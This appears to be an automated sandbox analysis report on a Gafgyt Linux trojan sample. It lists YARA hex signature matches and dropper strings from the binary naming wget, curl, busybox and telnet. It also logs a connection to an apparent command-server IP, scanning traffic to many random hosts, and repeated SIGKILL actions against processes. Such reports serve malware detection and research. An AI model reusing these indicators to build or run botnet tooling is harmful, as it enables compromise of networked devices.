2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa7fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa80f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa84b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: JXOsTWvZ5f.elf PID: 6229	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xb32a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64 0xb56f:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: JXOsTWvZ5f.elf PID: 6232	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x4b99:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4bad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4bc1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4bd5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4be9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4bfd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c11:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c25:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c39:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c4d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c61:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c75:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4c9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4cb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4cc5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4cd9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4ced:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4d01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4d15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4d29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: JXOsTWvZ5f.elf PID: 6232	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x5808:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64 0x5a4d:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 7 entries

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: JXOsTWvZ5f.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: JXOsTWvZ5f.elf	ReversingLabs: Detection: 43%
Source: JXOsTWvZ5f.elf	Virustotal: Detection: 54%			Perma Link

Spreading

Found strings indicative of a multi-platform dropper

Source: JXOsTWvZ5f.elf

String: /proc/2surf2vhoi2h{h2surf22h{h/exe//fd/socketproc/cmdlineself/mapsmil/lib//usr/bin//usr/sbin/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshdbashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/mipsel.nnmips.nnarm.nnarm5.nnarm6.nnarm7.nnx86_32.nnwget/.curlhttparmmipsPOST%s %s HTTP/1.1

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: global traffic

TCP traffic: 192.168.2.23:55502 -> 142.93.210.135:667

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 92.139.194.56
Source: unknown	TCP traffic detected without corresponding DNS query: 68.140.194.56
Source: unknown	TCP traffic detected without corresponding DNS query: 57.227.194.56
Source: unknown	TCP traffic detected without corresponding DNS query: 58.26.186.59
Source: unknown	TCP traffic detected without corresponding DNS query: 165.17.54.23
Source: unknown	TCP traffic detected without corresponding DNS query: 46.62.243.88
Source: unknown	TCP traffic detected without corresponding DNS query: 81.227.194.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.148.115.179
Source: unknown	TCP traffic detected without corresponding DNS query: 50.0.111.20
Source: unknown	TCP traffic detected without corresponding DNS query: 133.177.152.59
Source: unknown	TCP traffic detected without corresponding DNS query: 150.250.91.250
Source: unknown	TCP traffic detected without corresponding DNS query: 137.164.161.213
Source: unknown	TCP traffic detected without corresponding DNS query: 183.218.73.71
Source: unknown	TCP traffic detected without corresponding DNS query: 159.64.163.185
Source: unknown	TCP traffic detected without corresponding DNS query: 130.23.227.98
Source: unknown	TCP traffic detected without corresponding DNS query: 187.114.190.186
Source: unknown	TCP traffic detected without corresponding DNS query: 203.122.186.25
Source: unknown	TCP traffic detected without corresponding DNS query: 41.135.47.16
Source: unknown	TCP traffic detected without corresponding DNS query: 249.81.104.35
Source: unknown	TCP traffic detected without corresponding DNS query: 162.223.180.133
Source: unknown	TCP traffic detected without corresponding DNS query: 40.189.111.185
Source: unknown	TCP traffic detected without corresponding DNS query: 125.27.206.233
Source: unknown	TCP traffic detected without corresponding DNS query: 101.212.233.216
Source: unknown	TCP traffic detected without corresponding DNS query: 246.41.101.65
Source: unknown	TCP traffic detected without corresponding DNS query: 183.167.15.98
Source: unknown	TCP traffic detected without corresponding DNS query: 35.208.77.166
Source: unknown	TCP traffic detected without corresponding DNS query: 14.199.211.88
Source: unknown	TCP traffic detected without corresponding DNS query: 115.114.145.48
Source: unknown	TCP traffic detected without corresponding DNS query: 188.225.254.71
Source: unknown	TCP traffic detected without corresponding DNS query: 168.237.250.143
Source: unknown	TCP traffic detected without corresponding DNS query: 206.20.67.52
Source: unknown	TCP traffic detected without corresponding DNS query: 15.162.45.66
Source: unknown	TCP traffic detected without corresponding DNS query: 79.144.226.26
Source: unknown	TCP traffic detected without corresponding DNS query: 53.187.178.182
Source: unknown	TCP traffic detected without corresponding DNS query: 54.74.160.153
Source: unknown	TCP traffic detected without corresponding DNS query: 185.18.43.54
Source: unknown	TCP traffic detected without corresponding DNS query: 165.209.206.151
Source: unknown	TCP traffic detected without corresponding DNS query: 63.167.30.249
Source: unknown	TCP traffic detected without corresponding DNS query: 58.192.86.218
Source: unknown	TCP traffic detected without corresponding DNS query: 199.98.158.160
Source: unknown	TCP traffic detected without corresponding DNS query: 188.208.60.65
Source: unknown	TCP traffic detected without corresponding DNS query: 180.14.181.172
Source: unknown	TCP traffic detected without corresponding DNS query: 250.19.75.52
Source: unknown	TCP traffic detected without corresponding DNS query: 149.205.144.103
Source: unknown	TCP traffic detected without corresponding DNS query: 8.92.142.192
Source: unknown	TCP traffic detected without corresponding DNS query: 105.123.143.48
Source: unknown	TCP traffic detected without corresponding DNS query: 108.15.83.130
Source: unknown	TCP traffic detected without corresponding DNS query: 134.157.246.15

Source: JXOsTWvZ5f.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: JXOsTWvZ5f.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: JXOsTWvZ5f.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: JXOsTWvZ5f.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 796, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 799, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1349, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1463, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1477, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1489, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1579, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1582, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1586, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1594, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1599, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1622, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1623, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1627, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1629, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1632, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1633, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1639, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1642, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1654, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1656, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1661, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1668, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1698, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1699, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2033, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2038, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2128, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2129, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2146, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2208, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2235, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2281, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2285, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2289, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2294, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2307, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 2637, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 3236, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6260, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6261, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6266, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6304, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6305, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6310, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6311, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6313, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6314, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6315, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6316, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6317, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6319, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6321, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6338, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6340, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6343, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6345, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6346, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6347, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6352, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6361, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6405, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6453, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6520, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6581, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6643, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6709, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6749, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6789, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6850, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6910, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6950, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 6993, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 7033, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 7077, result: successful	Jump to behavior

Source: JXOsTWvZ5f.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: JXOsTWvZ5f.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: JXOsTWvZ5f.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 796, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 799, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1349, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/JXOsTWvZ5f.elf (PID: 6231)	SIGKILL sent: pid: 1463, result: successful	Jump to behavior
